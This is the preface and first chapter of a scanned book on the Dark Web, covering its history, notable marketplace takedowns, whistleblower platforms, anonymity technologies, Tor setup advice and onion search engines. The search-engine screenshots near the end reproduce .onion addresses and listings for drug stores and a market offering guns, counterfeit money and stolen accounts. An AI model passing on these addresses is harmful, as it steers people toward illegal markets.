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Preface

This book is a compelling and authoritative exploration into the enigmatic world of the Dark
Web. Authored by Akashdeep Bhardwaj and Saksham Garg, this book serves as an indispens-
able guide for professionals, enthusiasts, and academics seeking to demystify the complexities
of the clandestine online realm. Through meticulously crafted chapters, readers embark on a
journey that covers the historical evolution of the Dark Web, Dark Al, and complex offensive
security, which delves into intricate ecosystems, explores prevalent cyber threats, and unrav-
els the tools and techniques employed by investigators to combat illicit activities. Real-world
case studies, insights into law enforcement challenges, and a futuristic outlook on emerging
trends make this book an essential resource for anyone fascinated by the intersection of
technology, crime, and the pursuit of justice.

The authors draw from a wealth of hands-on experience in the cybersecurity field, making
the content not only informative but also practical and relevant to contemporary challenges.
As the digital landscape evolves, this book stands as a timely and comprehensive resource
that equips readers with the knowledge needed to navigate the complexities of the Dark Web
and contribute to the ongoing efforts to secure cyberspace. Whether you are a cybersecurity
professional, law enforcement official, student, or simply intrigued by the hidden corners of
the internet, this book offers a captivating and insightful journey into the shadows, revealing
the intricacies of Dark Web investigations and the measures taken to safeguard our digital
world.

Akashdeep Bhardwaj
Professor & Director Centre for Cybersecurity
UPES, Dehradun, India
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Chapter |
Introduction to the Dark Web

1.1 INTRODUCTION - OVERVIEW OF DARKWEB

In the vast digital landscape of the Internet, most users traverse the surface layer, websites
and platforms easily accessible through common search engines. Beneath this digital veneer
lies a complex, lesser-known dimension known as the “Dark Web” [1]. For many, the term
conjures images of illicit markets, anonymous communication, and cybercrime, but the Dark
Web is a multifaceted ecosystem that cannot be reduced to simplistic portrayals. This sec-
tion aims to demystify the concept of the Dark Web, exploring its technological foundations,
scope, use cases, and implications for modern digital society.

At its core, the Dark Web is a collection of websites and services that exist on encrypted
networks, accessible only through specialized software such as Tor (The Onion Router) [2],
I2P (Invisible Internet Project) [3], or Freenet. Unlike the “Surface Web,” the portion of the
Internet indexed by traditional search engines or the “Deep Web,” which includes data not
meant for public view (like email inboxes, academic databases, and corporate intranets), the
Dark Web operates with deliberate anonymity and concealment. It is part of the Deep Web
by definition but stands apart due to its reliance on privacy-preserving protocols and routing
techniques.

What sets the Dark Web apart is the intentional obscurity it offers both to hosts and users.
This veil of anonymity is made possible by advanced cryptographic methods, such as onion
routing, which layers data in successive encryptions before transmitting it through a decen-
tralized network of volunteer-run nodes. Each node peels off a layer of encryption, unaware
of the original source or final destination, thus ensuring the communication cannot easily be
traced back to either party. While the mainstream perception of the Dark Web tends to focus
on its association with illegal activities, ranging from drug trafficking and arms dealing to
counterfeit currencies and cyber espionage, it would be a grave oversimplification to equate
the Dark Web solely with criminality. Numerous activists, whistleblowers, journalists, and
political dissidents rely on these networks to evade censorship and surveillance in authoritar-
ian regimes. Secure drop boxes, anonymous forums, and politically sensitive publications are
only a few examples of how the Dark Web can serve as a bastion for freedom of expression
and digital resistance.

Understanding the scale of the Dark Web is equally challenging. Because of its encrypted
and unindexed nature, there is no comprehensive way to estimate how many sites exist
within this space at any given time. Unlike conventional domains that rely on domain name
system (DNS) systems for visibility, Dark Web sites operate through hidden services, typically
using randomly generated alphanumeric addresses ending with “.onion” (in the case of Tor).
Many such addresses change frequently, disappear, or are intentionally kept private to limit
visibility. This transient architecture makes crawling, indexing, or monitoring the Dark Web
inherently difficult.
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Accessing the Dark Web does not inherently imply illegality. Tools like the Tor Browser
are legal in many countries and used by millions globally for legitimate reasons, whether for
circumventing Internet restrictions, accessing sensitive content securely, or exploring privacy-
enhancing tools. However, the legality of activities performed on the Dark Web depends on
national jurisdictions and ethical boundaries. As such, understanding the Dark Web requires
a contextual and nuanced lens, one that considers not just the technology but the socio-
political ecosystem in which it thrives.

As digital privacy concerns escalate globally, the tools that enable access to the Dark Web
are increasingly being used on the regular Internet to enhance security. Concepts like end-to-
end encryption, anonymous routing, zero-knowledge proofs, and decentralized networks are
becoming mainstream. Thus, the technologies underpinning the Dark Web are shaping the
broader landscape of digital communication, finance, and information sharing.

Another fascinating dimension of the Dark Web is its economic infrastructure.
Cryptocurrencies, particularly privacy-focused ones like Monero, serve as the backbone of
financial transactions in this realm. The integration of digital wallets, escrow services, and
anonymous exchanges has enabled the formation of a parallel economy that operates largely
beyond the oversight of traditional financial institutions. This has catalyzed debates on finan-
cial sovereignty, economic anonymity, and digital black markets.

In recent years, law enforcement and cybersecurity agencies have made significant strides
in penetrating and dismantling various Dark Web marketplaces and forums. These actions
highlight a growing capability to trace cryptocurrency transactions, exploit vulnerabilities in
anonymizing technologies, and collaborate across international jurisdictions. Still, each take-
down is met with resilience and adaptation from Dark Web actors, underscoring the dynamic
and evolving nature of this space.

Dark Web is not a monolith but a spectrum of digital realities, spanning the sinister, the
subversive, and the socially constructive. To study it is to engage in a broader conversation
about the future of privacy, the architecture of the Internet, the ethics of anonymity, and the
balance between security and freedom. As we progress through this book, these themes will
be unpacked in detail, offering a comprehensive understanding of not just what the Dark
Web is, but why it matters. Below are a few examples to highlight these aspects of the Dark
Web.

Example: the Dark Web as a tool for political dissidents in Belarus
(2020-2021)

During the 2020 Belarusian protests against the Lukashenko regime, Internet censorship
and surveillance intensified rapidly [4]. Access to messaging apps, news sites, and social
platforms was frequently blocked or throttled. In this hostile digital environment, many
activists and protest organizers turned to the Dark Web to coordinate their movements
securely. Hidden services on Tor and communication relays through I2P allowed them to
bypass state-imposed firewalls and communicate anonymously. These networks were cru-
cial in distributing protest guides, broadcasting schedules for peaceful demonstrations, and
leaking human rights abuse documentation to international media. Far from being a den
of crime, the Dark Web became an instrument of democratic resilience, offering oppressed
citizens a digital space to organize and share truth in a repressive regime. This example
vividly demonstrates the ethical complexities of the Dark Web — it can be a lifeline for those
living under authoritarian surveillance, reinforcing the idea that its purpose goes far beyond
criminal enterprise.
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Example: COVID-19 pandemic and medical frauds on the Dark
Web (2020-2022)

As the COVID-19 pandemic unfolded globally, the Dark Web experienced a wave of oppor-
tunistic exploitation. Markets quickly adapted by listing items like counterfeit vaccination
certificates, black-market PPE kits, and even falsified COVID-19 test results [5]. Entire sub-
categories emerged dedicated to selling fake vaccine passports for countries implementing
digital health passes. Although some sellers were fraudsters with no actual products, others
had access to insider information or were complicit healthcare employees. Investigative jour-
nalists and cybersecurity researchers flagged listings that promised access to WHO databases
or offered forged documents capable of passing government scans. The incident illustrated
how the Dark Web mirrors and manipulates societal trends in real time. Where governments
implemented new digital systems for health, cybercriminals found ways to corrupt them
using anonymized marketplaces, cryptocurrency transactions, and decentralized communica-
tion tools. The pandemic thus highlighted how quickly the Dark Web ecosystem can pivot
and respond to major global events, often with alarming agility.

Example: rise of privacy tools and legitimate Dark Web services
(2021-2023)

Contrary to the mainstream narrative, the Dark Web is not solely populated by criminals.
Between 2021 and 2023, a noticeable rise occurred in the number of privacy-focused services
hosted on Tor. PrivacySearch [6], an anonymous search engine that avoids tracking, gained
popularity among academics and cybersecurity enthusiasts. Similarly, a privacy-focused
email platform called “ProtonMail Hidden Service” allowed whistleblowers and journalists
to communicate without fear of surveillance or metadata exposure. Major news organiza-
tions like The Guardian and ProPublica established Tor mirrors of their websites to ensure
global access even in censorship-heavy environments. These cases demonstrate that the Dark
Web is not a singular space but rather a multifaceted infrastructure serving both ethical and
unethical purposes. The growing presence of legitimate actors leveraging Dark Web tech-
nologies underlines the shift in how society views privacy, not merely as a preference, but
as a digital necessity. It also emphasizes the duality embedded within anonymizing tools,
empowering both free speech and illicit activities depending on intent.

Example: the emergence of Data Leaks-as-a-Service portals
(2022-2024)

In recent years, a disturbing innovation has emerged: platforms on the Dark Web offer-
ing “Data Leaks-as-a-Service” [7]. These aren’t just repositories of stolen information; they
are subscription-based ecosystems where users can pay for regular dumps of corporate or
government data. One such platform, operating since late 2022, offers weekly breach pack-
ages containing credentials, employee rosters, financials, and even internal communications.
Often, these services market themselves like tech startups, complete with sleek interfaces and
loyalty bonuses for long-term subscribers. Law enforcement agencies have been racing to
infiltrate or shut them down, but the constant rebranding and decentralization have made
these platforms highly resilient. These portals highlight a shift from one-time hacks to an
industrialized model of data monetization. They also show how the Dark Web has moved
from reactive criminal activity to proactive, systematized services, mirroring the same inno-
vations as the corporate world — albeit in an illicit context.



4 Beyond The Invisible Nexus

Example: Al-driven bots in Dark Web marketplaces (2023-2024)

The integration of Al into Dark Web marketplaces is an emerging trend that began gaining
momentum in 2023. Sellers have begun deploying chatbots powered by generative Al to
negotiate deals, answer customer queries, and even provide tutorials on using malware or
evading forensic detection [8]. These Al bots, operating anonymously through onion-routed
interfaces, create a pseudo-legitimate shopping experience, complete with product compari-
sons, loyalty discounts, and even 24/7 customer service. More disturbingly, Al is also being
used to auto-generate phishing content, write polymorphic code to bypass antivirus detec-
tion, and manage inventory in crypto marketplaces. This hybridization of Al and the Dark
Web reflects the broader automation trends in tech and shows how criminals are not merely
adapting to innovation, they are pioneering their own twisted versions of it. As Al continues
to evolve, its influence on the Dark Web is expected to deepen, introducing further ethical,
legal, and technical dilemmas.

1.2 HISTORICAL DEVELOPMENT

The emergence of the Dark Web cannot be understood in isolation. It is the product of sev-
eral converging technological, political, and cultural movements, each of which contributed
to the gradual evolution of anonymous communication and hidden networks. This historical
development is a tapestry woven with advances in cryptography, shifts in Internet architec-
ture, and a growing global discourse on privacy, surveillance, and digital sovereignty.

The conceptual seeds of the Dark Web were sown in the late 20th century, particularly
with the maturation of the Internet and the parallel development of cryptographic theory.
The publication of the RSA algorithm [9] in 1977 marked a turning point in digital privacy.
Public-key encryption enabled secure communication over open channels, laying the ground-
work for anonymous networks. Around the same time, the cypherpunk movement, compris-
ing technologists and libertarians advocating privacy through cryptography, began to gain
traction. These pioneers, including Timothy C. May, Eric Hughes, and Julian Assange, envi-
sioned a world where technology could protect individuals from surveillance and censorship.

The true foundation of the modern Dark Web was laid with the development of onion
routing in the mid-1990s by researchers at the U.S. Naval Research Laboratory (NRL)
[10], including Paul Syverson, Michael Reed, and David Goldschlag. The goal was to cre-
ate a secure communication system for U.S. intelligence operatives and dissidents in foreign
nations. Onion routing encapsulates messages in multiple layers of encryption, routing them
through a network of volunteer nodes, each aware only of its immediate predecessor and
successor, thus anonymizing both sender and recipient. This innovation would eventually
become the backbone of the Tor network.

The early 2000s witnessed the release of TOR (or The Onion Router) to the public as an
open-source project. The decision to open the technology to global users was strategic: more
users meant more network traffic, which in turn enhanced anonymity for everyone, including
government agents. Tor quickly found an audience among journalists, human rights activists,
and technologists seeking protection from surveillance. Its release also coincided with a grow-
ing awareness of online tracking, data mining, and government eavesdropping, concerns that
would only intensify with the passage of time. With the development of TOR hidden services
websites hosted within the Tor network and accessible only through “.onion” addresses, the
Dark Web began to take shape as a distinct subculture. These sites, shielded from conven-
tional search engines and DNS registries, could host anything from discussion forums and
blogs to e-commerce platforms and whistleblower portals. The publication of the Silk Road
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marketplace in 2011 is often considered a watershed moment. Operating as a black mar-
ket for drugs, weapons, and counterfeit documents, the Silk Road showcased the economic
potential of the Dark Web and thrust it into the global spotlight. Its creator, Ross Ulbricht
(alias Dread Pirate Roberts), was arrested in 2013, and the site was dismantled by the FBI.

However, the demise of Silk Road did not deter the Dark Web economy. Instead, it sparked
a proliferation of successor marketplaces, each adopting new security measures and opera-
tional models. Agora, AlphaBay, Hansa, and Dream Market each dominated the scene at
different points in time. These markets often employed sophisticated mechanisms such as
multi-signature escrow, reputation systems, and anti-phishing measures to build trust among
users. The cat-and-mouse game between law enforcement and Dark Web administrators
became more complex, with some takedowns involving elaborate infiltration, honeypot
setups, and international cooperation.

Parallel to these developments, alternative privacy networks such as I2P and Freenet emerged.
I2P (Invisible Internet Project) focused on enabling secure peer-to-peer communication, while
Freenet championed censorship-resistant publishing. These networks adopted different archi-
tectures and goals but shared a commitment to digital anonymity and user sovereignty.

The revelations by Edward Snowden in 2013 marked another pivotal moment in the his-
tory of the Dark Web. His disclosures about global surveillance programs conducted by the
NSA and its partners validated long-standing fears about state overreach. In the wake of
Snowden’s leaks, interest in anonymity tools surged. Downloads of the Tor Browser sky-
rocketed, and public discourse shifted toward encryption, privacy, and online freedoms. The
Dark Web, once the domain of a niche community, entered the lexicon of mainstream users
and policymakers.

In the latter half of the 2010s, new trends began to reshape the Dark Web landscape. The
adoption of cryptocurrencies like Bitcoin and Monero provided anonymous, decentralized
financial systems that further fueled illicit and privacy-conscious activities alike. Ransomware
attacks began to exploit Dark Web infrastructure for negotiations and payments. Leaked
databases, exploit kits, and surveillance tools were traded on underground forums. At the
same time, whistleblower platforms like SecureDrop were adopted by major news organiza-
tions to facilitate secure tips from anonymous sources.

By the early 2020s, the Dark Web had diversified in both content and structure. While
some forums and marketplaces continued to cater to illicit activities, others were devoted to
privacy education, software development, political discourse, and even academic research.
Governments began investing in offensive and defensive Dark Web capabilities, from monitor-
ing and disruption to intelligence gathering and strategic communication. Yet, the landscape
remains in flux. Technological advancements in Al, blockchain, and decentralized computing
are beginning to influence how anonymity and security are implemented. Projects exploring
“darknets” on decentralized web protocols (like IPFS and blockchain-based naming systems)
hint at future iterations of the Dark Web that may be even harder to control or surveil.

The history of the Dark Web is not simply a tale of hidden websites and illegal trades. It
reflects broader societal currents of mistrust in centralized systems, of the hunger for privacy,
and of the tensions between liberty and control in the digital age. As we move forward,
understanding this history with examples is crucial to anticipating the directions in which the
Dark Web and the technologies behind it may evolve.

Example: the takedown of AlphaBay and the lessons of
decentralization (2017-2023)

Although AlphaBay was taken down in 2017, its ripple effects lasted years [11]. At its height,
AlphaBay was the largest Dark Web marketplace, offering everything from drugs and fake
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IDs to hacking tools. Following its shutdown, a diaspora of smaller marketplaces appeared,
adopting more decentralized models. Between 2019 and 2023, newer platforms began utiliz-
ing blockchain DNS systems, decentralized file storage like IPFS, and serverless infrastructure.
The case of AlphaBay highlights an evolutionary milestone in the Dark Web’s development:
the shift from centralized hubs to distributed, modular networks that are far harder to detect
or dismantle. It also demonstrates how enforcement actions, while necessary, often serve as
catalysts for technical innovation among underground developers, much like pressure sparks
evolution in biological systems. The historical significance of AlphaBay lies not just in its
demise, but in how it shaped the adaptive strategies of Dark Web actors in the years that
followed.

Example: evolution of whistleblower platforms — SecureDrop and
beyond (2013-2024)

In the wake of the Snowden revelations, whistleblowing moved from fringe activism to
mainstream journalism. SecureDrop [12], launched in 2013, became a seminal example of
a Tor-based platform offering anonymous, encrypted communication between sources and
reporters. Over the years, it was adopted by major news outlets like The New York Times
and The Intercept. By 2024, newer frameworks such as OnionShare and GlobaLeaks had
emerged, enabling secure file transfers and anonymous reporting in corporate and govern-
mental settings. These platforms are historically significant because they represent the ethical
backbone of the Dark Web technologies that, while sharing the same privacy architecture as
illicit markets, serve as safeguards of democracy and transparency. Their evolution mirrors a
broader societal recognition that anonymity is not inherently malicious but can be essential
for accountability in powerful institutions.

Example: Hansa Market takedown - strategic surveillance success
(2017)

A unique case in Dark Web history occurred with the Hansa Market takedown. When
Dutch authorities seized control of Hansa in 2017, they didn’t immediately shut it down
[13]. Instead, they operated it covertly for weeks, quietly logging user data and transactions.
During this period, law enforcement gained critical insights into operational behaviors, laun-
dering patterns, and even vendor geolocation. Thousands of users migrated from AlphaBay
(which had just been shut down) to Hansa — unaware it was now under government control.
The historical value of this operation lies in its strategic brilliance and its role in demonstrat-
ing how cyber operations can be used offensively in law enforcement. It also set a precedent
for the ethical debate around using surveillance tools to monitor anonymized platforms.
Hansa’s case reveals that the Dark Web’s history is not just about the platforms themselves,
but also about the evolving countermeasures deployed to police them.

Example: cryptocurrency forensics evolution (2018-2024)

Cryptocurrencies [14] were once believed to be the untraceable financial lifeblood of the
Dark Web. But the rise of cryptocurrency forensics, particularly by firms like Chainalysis
and CipherTrace, has redefined this narrative. Between 2018 and 2024, several Dark Web
vendors were apprehended after blockchain analysis exposed their transaction trails. One
notable example involved a drug ring that had laundered over $20 million in Bitcoin across
multiple wallets. Investigators reconstructed the financial flows using clustering algorithms
and identified exchanges where illicit gains were converted into fiat currencies. This case
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marks a turning point in the history of Dark Web economics: the illusion of perfect anonym-
ity through cryptocurrency was shattered. It also reflects how advancements in data sci-
ence are rewriting the rules of cybercrime detection. The Dark Web’s history cannot be told
without acknowledging the technological arms race between privacy seekers and forensic
investigators.

Example: integration of decentralized web into Dark Web services
(2022-2024)

A significant development in recent Dark Web history is the emergence of decentralized web
technologies within hidden services. Starting in 2022, platforms began experimenting with
IPFS (InterPlanetary File System) and Ethereum Name Service (ENS) to host onion mir-
rors and encrypted forums. Unlike traditional hidden services that rely on a central server,
these decentralized systems allow content to be distributed across nodes, removing single
points of failure. For example, a whistleblower site in South America began publishing
leaked government documents using IPFS hashes shared via Tor, ensuring that even if one
node was removed, the content would persist on others. This evolution showcases how the
lines between the traditional Internet, the Dark Web, and the decentralized web are blurring.
Historically, it reflects a maturation of the Dark Web from being merely hidden to being
structurally resilient and distributed — further complicating both ethical judgments and law
enforcement efforts.

1.3 KEY CHARACTERISTICS & TECHNOLOGIES

The term “Dark Web” often evokes images of mystery, danger, and illicit activities, but its
reality is far more nuanced. The Dark Web represents a distinct layer of the Internet, char-
acterized not only by its inaccessibility through conventional search engines but also by the
technologies and philosophies that govern its operation. It is a digital ecosystem that thrives
on anonymity, decentralization, and resistance to traditional regulatory frameworks. While
it is often conflated with cybercrime, the Dark Web is also a space for privacy advocates,
whistleblowers, political dissidents, and researchers working under oppressive regimes.

To understand the Dark Web, it is essential to delve into the fundamental traits that differ-
entiate it from the Surface Web (the Internet most people use daily) and the Deep Web (parts
of the Internet not indexed by standard search engines but accessible through credentials).
The Dark Web is a subset of the Deep Web but is specifically characterized by its intentional
concealment and reliance on special technologies for access and anonymity.

Anonymity is arguably the most defining characteristic of the Dark Web. Users interact
in environments where their identities, locations, and digital fingerprints are obfuscated by
powerful encryption and routing protocols. Traditional websites and services typically track
user IP addresses, browsing habits, and metadata, which can be aggregated to build detailed
profiles. In contrast, the Dark Web is designed to thwart such surveillance. This anonymity
is achieved primarily through routing protocols. These protocols ensure that user traffic is
routed through multiple encrypted layers or tunnels, each operated by a different volunteer
node in a decentralized network. As a result, no single entity along the route knows both
the origin and the destination of the data, making it extremely difficult for third parties to
perform effective traffic analysis. Such anonymity has profound implications. On one hand,
it protects freedom of expression and the right to privacy, especially in environments where
dissent is punished. On the other hand, it offers a shield for those engaged in unlawful enter-
prises, such as trafficking in contraband, stolen data, or illegal services.
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Closely related to anonymity is pseudonymity. Many users of the Dark Web operate under
aliases or handles that conceal their true identities. Unlike anonymity, where a user is uniden-
tifiable, pseudonymity allows individuals to establish persistent reputations without revealing
personal information. This is crucial in Dark Web marketplaces, forums, and communication
channels, where trust and credibility must be established despite the lack of identity verifica-
tion. Pseudonymous identities often accumulate reputation scores, vendor ratings, and cus-
tomer feedback, systems akin to those on e-commerce platforms like eBay or Amazon. These
systems incentivize trustworthy behavior in an otherwise lawless landscape. For advanced
users, maintaining operational security (OPSEC) involves meticulously separating real-world
identity from online personas through strict compartmentalization, secure communication
protocols, and anonymous currency handling.

Accessing the Dark Web requires specialized software and configurations, unlike the sur-
face web, which is reachable through standard web browsers like Chrome, Safari, or Firefox.
The most widely used gateway is the Tor Browser, a modified version of Mozilla Firefox
configured to route traffic through the Tor network. It allows users to access both regular
websites and “.onion” domains, which are exclusively hosted within the Tor network. Tor
functions by bouncing Internet traffic across a global network of volunteer-run servers called
nodes or relays. The original data is wrapped in multiple layers of encryption, like the layers
of an onion, each of which is decrypted by successive nodes along the route. This obfusca-
tion ensures that the final server only knows the previous hop, not the origin, and vice versa.

Other technologies include:

e 12P (Invisible Internet Project): Unlike Tor, which is optimized for browsing the open
Internet anonymously, I2P is built for hosting services within the network itself (called
“eepsites”). I2P uses garlic routing, where multiple messages are bundled together,
increasing resistance to traffic analysis.

o Freenet: Freenet focuses on decentralized and censorship-resistant publishing. It uses
a peer-to-peer (P2P) system where content is distributed and stored across users’ com-
puters. Freenet users contribute to the network’s storage pool, and in return, they gain
access to distributed data, making takedowns or content removal virtually impossible.

e ZeroNet and GNUnet: These are experimental decentralized web platforms that use
blockchain and cryptographic hashes to verify content integrity and protect user
identity.

Accessing these networks often requires the configuration of firewalls, proxies, and some-
times even virtual machines to isolate the browsing environment from the host operating
system, thereby minimizing exposure to malware and deanonymization attempts.

One of the philosophical pillars of the Dark Web is decentralization. In contrast to tradi-
tional web hosting, which relies on centralized data centers and service providers, many Dark
Web services use distributed infrastructure. This reduces their vulnerability to censorship,
surveillance, and denial-of-service attacks. Services on the Dark Web are often designed to
be resilient. For instance, hidden services on the Tor network are hosted on servers with con-
cealed IP addresses, making them difficult to trace or take down. Some services are mirrored
across multiple onion addresses, and others use distributed file storage, ensuring that even
if one node goes offline, content remains accessible through others. Blockchain-based tech-
nologies also contribute to decentralization. Some emerging platforms integrate blockchain
to manage domain names (such as Namecoin for.bit domains) or to verify identity and data
integrity without relying on centralized authorities.

The foundation of the Dark Web’s security model is cryptography. Cryptographic algo-
rithms are used not only for encrypting web traffic but also for verifying digital identities,
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securing transactions, and ensuring data persistence. The entire architecture of Tor and other
anonymity networks relies on cryptographic primitives such as RSA, AES, Diffie-Hellman
key exchange, and hashing functions like SHA-3. In marketplace operations, cryptography
facilitates secure communications and transactions. PGP (Pretty Good Privacy) is a com-
mon standard used for end-to-end encrypted messaging, especially between vendors and cli-
ents. Vendors often provide their public PGP keys for customers to encrypt their messages.
Moreover, multi-signature Bitcoin wallets are used to mitigate the risks of escrow fraud,
requiring signatures from multiple parties to release funds. Digital signatures also help vali-
date the authenticity of software or messages on the Dark Web. Given the high prevalence
of scams, malware, and impersonation, cryptographic assurance is critical in distinguishing
legitimate services from malicious clones or impostors.

Cryptocurrency plays an indispensable role in the Dark Web economy. Since traditional
banking and credit card systems are traceable and subject to legal oversight, digital curren-
cies provide a pseudo-anonymous alternative for financial transactions. Bitcoin was the first
cryptocurrency adopted on the Dark Web, but its pseudo-anonymity was eventually chal-
lenged by blockchain forensics and enhanced surveillance by financial authorities. This led
to the rise of privacy-centric cryptocurrencies like Monero (XMR), Zcash (ZEC), and Dash.
These coins incorporate additional privacy layers such as stealth addresses, ring signatures,
and zk-SNARKSs (zero-knowledge proofs), making transactions harder to trace. In addition
to direct transactions, escrow services and tumblers or mixers are used to further obfuscate
the flow of funds. Escrow services act as intermediaries that hold funds until both parties ful-
fill their obligations, thereby reducing fraud. Tumblers, meanwhile, mix coins from multiple
users to break transaction chains, though their legality and security have come under scrutiny
in recent years.

Despite the clandestine nature of the Dark Web, it supports vibrant communities of users
who share information, exchange goods, and offer services. Forums, chat platforms, and
message boards are central to the Dark Web’s communication landscape. These platforms
often operate on invitation-only models or require users to pass vetting processes to reduce
infiltration by law enforcement or malicious actors.

Popular messaging technologies include:

e Jabber/XMPP over Tor: Secure instant messaging using open protocols and onion
routing.

¢ Ricochet and Cwtch: Decentralized messaging platforms that operate over the Tor net-
work, offering metadata-resistant communication.

¢ SecureDrop: A whistleblower submission system used by journalists and media organi-
zations to receive anonymous documents securely.

The strength of these communication platforms lies in their reliance on encrypted, peer-
reviewed codebases and non-centralized architecture, often open-source and scrutinized by
cybersecurity researchers. Unlike the Surface Web, where search engines like Google or Bing
index content through web crawlers, the Dark Web requires customized indexing tools due
to the volatile and hidden nature of its content. Crawlers for .onion sites must themselves run
within Tor, and many services discourage or block automated crawling to maintain secrecy.
Search engines like Ahmia, Not Evil, Haystak, and Recon are examples of Dark Web search
tools, though their results are limited and frequently outdated. They index onion sites based
on voluntary submission or verified crawling, and their databases often contain disclaimers
about reliability and safety. Furthermore, keyword-based search on the Dark Web is hindered
by the frequent use of encoded or obfuscated language, intentional misspellings, or jargon
meant to evade detection.
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Advanced users often rely on curated lists, forums, and decentralized directories to locate
trustworthy services. Manual vetting, reputation scores, and digital signatures are often used
as metrics to distinguish reliable platforms from scam sites.

While the Dark Web is built on technologies designed to resist surveillance and censorship,
it is not immune to vulnerabilities. Users and services alike are exposed to risks such as:

¢ Deanonymization attacks: Sophisticated actors, including state-sponsored agencies, can
exploit browser vulnerabilities, JavaScript execution, and metadata leaks to reveal user
identities.

¢ Exit node surveillance: In Tor, the final relay before data reaches its destination (exit
node) can inspect unencrypted traffic. This poses a risk if users access non-HTTPS
services.

e Malware and exploits: Many Dark Web sites host malicious software, phishing pages,
or drive-by exploits aimed at compromising user systems.

¢ Law enforcement infiltration: Undercover operations, honeypots, and sting operations
are common law enforcement strategies to track criminal activities.

Despite these threats, the community continues to evolve with enhanced OPSEC practices,
sandboxed browsing environments, and proactive patching of known exploits. Beyond its
technical framework, the Dark Web is deeply intertwined with ethical and political narratives.
For some, it represents a sanctuary for digital rights, freedom of expression, and resistance
to state surveillance. For others, it’s a digital underworld that enables some of the Internet’s
darkest activities. This duality challenges researchers, policy makers, and ethicists. While law
enforcement agencies seek to suppress illicit use, human rights organizations defend the tools
that make the Dark Web possible, citing their value in protecting journalists, whistleblowers,
and vulnerable populations. As surveillance capabilities increase globally, the debate around
the legitimacy and regulation of Dark Web technologies is set to intensify.

The future of the Dark Web is closely tied to advancements in cryptography, decentral-
ization, and Al. With the rise of decentralized hosting, blockchain-based identity systems,
and Al-enhanced OPSEC tools, the next generation of Dark Web platforms may become
more resilient and autonomous. Research is ongoing into quantum-resistant encryption to
safeguard against potential threats from quantum computing. Likewise, Al-driven threat
detection on both sides, offensive and defensive, is shaping a future where anonymity and
surveillance are locked in a perpetual arms race. The integration with IoT (Internet of Things),
decentralized finance (DeFi), and autonomous networks could transform the Dark Web from
a niche ecosystem into a more integrated, albeit still covert, digital domain.

1.4 DARKWEB SEARCH ENGINES

Tor (The Onion Router)

TOR [2] is an essential tool for accessing the Dark Web because it enables users to browse
anonymously and reach hidden .onion sites that are not accessible through regular browsers
like Chrome or Firefox. These .onion websites exist on the Dark Web and are intentionally
kept out of the public Internet’s DNS, making Tor the only way to access them. Table 1.1
presents some of the Dos and Don’ts for reference.

To safely explore the Dark Web, it is crucial to operate within a secure and isolated envi-
ronment. One of the most recommended options is to use Tails OS, a privacy-focused oper-
ating system that runs from a USB and leaves no trace on the host machine. Alternatively,
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Table 1. TOR dos & don’ts

Dos Don’ts

Use a fresh USB or VM for isolation. Do not access .onion sites via Chrome/Firefox.
Always browse with Tor Browser. Do not download unknown files.

Use anonymous aliases and email addresses. Do not use personal accounts or real names.
Use a trusted VPN like NordVPN, ProtonVPN. Do not allow scripts to execute automatically.
Keep your OS and Tor Browser updated. Disable JavaScript in Tor settings.

users can opt for a virtual machine setup, using software like VirtualBox or VMware to run
Parrot OS or Kali Linux as guest systems. This approach allows users to work within their
regular Windows, macOS, or Linux environment while keeping Dark Web activity contained.
A quad-core processor with virtualization support, 8 GB RAM, and 30 GB of free storage
are typically required. Figure 1.1 illustrates the process for downloading TOR browser from
TOR Project portal as a compressed file on a Tails or Kali Linux OS.

Unzip and run to launch the TOR browser application, which connects to TOR. Figure 1.2
displays the TOR browser is ready to search and browse Dark Web links, which typically end
with “.onion” extension.

Ahmia

Ahmia [15] is a search engine specifically designed to help users find “.onion” sites on the
TOR network. These .onion sites are not accessible through normal browsers or indexed by
traditional search engines like Google or Bing. Figure 1.3 displays the Ahmia Search Engine
when searching for a keyword, as the minimal design supports a focus on privacy and secu-
rity while accessing TOR services.

T tor-browser-linux-x86_64-14.5.4.tar.xz

Show all downloads

Figure 1.] TOR file download.

0 Explore. Privately.

Connect to Tor

earch with DuckDuckGo

Configure Connection... - You're ready for the world's most private browsing experience

Figure 1.2 Launch TOR application.
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Any Time v

Omitted very similar entries. Displaying 1145 matches

drugs

Venus Marketplace was established in 2018. It is among the best marketplaces of the Darknet. Escrow System is available to prevent Scam and Fraud. It gives importance to seller and buyer security. Sellers

100% verified.
y o 3sad.onion — 2 weeks, 2 days —

Figure 1.3 Ahima search results.

GORCH

| Search |
(O Matching any words ® Matching all words

Term frequencies: drugs: 53,447

search took 0.009152 seconds

[ | \5“’-’1 49K Pegples Drug Store - The Darkweb's Best Online Drug Supplier! - Buy cocaine,
Peoples Drug Store - The Darkweb's Best Online Drug Supplier! - Buy cocaine, speed, xtc, mdma, heroin
http://4p6i330qj6wgvzgzczyqlueav3tz456rdu632xzyxbnhq4gpsriirtqd.onion/register.php
matching: drugs

Figure 1.4 Torch search engine.

Torch

Torch [16] is one of the oldest and most widely used search engines for browsing hidden
.onion websites on the Tor network. Known for its simple interface and vast index, Torch
allows users to search through a large number of Dark Web sites, making it a go-to tool for
those exploring or researching Tor-based content. Figure 1.4 displays the Torch search engine
home page and search result for a keyword, the platform emphasizes privacy and does not
track user activity, aligning with the core principles of anonymity.

Torgle

The goal of Torgle [17] is to make navigating the Tor network easier by organizing and
indexing content that isn’t available through traditional search engines like Google. While its
design is simple and user-friendly, Torgle does not actively filter or moderate content, mean-
ing users may come across outdated, broken, or potentially unsafe links. Figure 1.5 illustrates
the home page of the Torgle search engine and the results when searching for a keyword in
the search engine. Torgle serves as a convenient starting point for those looking to explore
the Tor ecosystem.

TorDex

TorDex [18] is designed to prioritize user privacy and anonymity, ensuring that searches are
not tracked or stored. Unlike some other Dark Web search tools, TorDex may offer more
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««first page «prev page page 1/145 next page» last page»»

drugs

Venus Marketplace was established in 2018. It is among the best marketplaces of the Darknet. Escrow System is available ti
Last check: - June 30, 2025, 9:55 a.m. - 4 days, 14 hours - - -
[http:/1y75dbzixy7hip663j32xo4dtoiikm6bxb53jvivgkpo6jwppptx3sad.onion/venusmarketplace/catalog/links/drugs]

ISearch the dark web... a Q

Searching index for drugs returned 8,835 results
Amazon Market | Buy Bitcoin Wallet, PayPal Accounts, Drugs and more

Buy PayPal Accounts, Counterfeit Money, Guns, Heroin, Cocaine, Mushrooms, LSD, MDMA and many
e.

Figure 1.6 TorDex home page.

T°R66 Search and Find .onion websites ...

Promoted site

PN TRUSTWKI P Search

€ Fresh Onions | #1 TOP# Onions
Last 100 (€ fresh) .ONION websites found

Figure 1.7 Tor 66 home page.

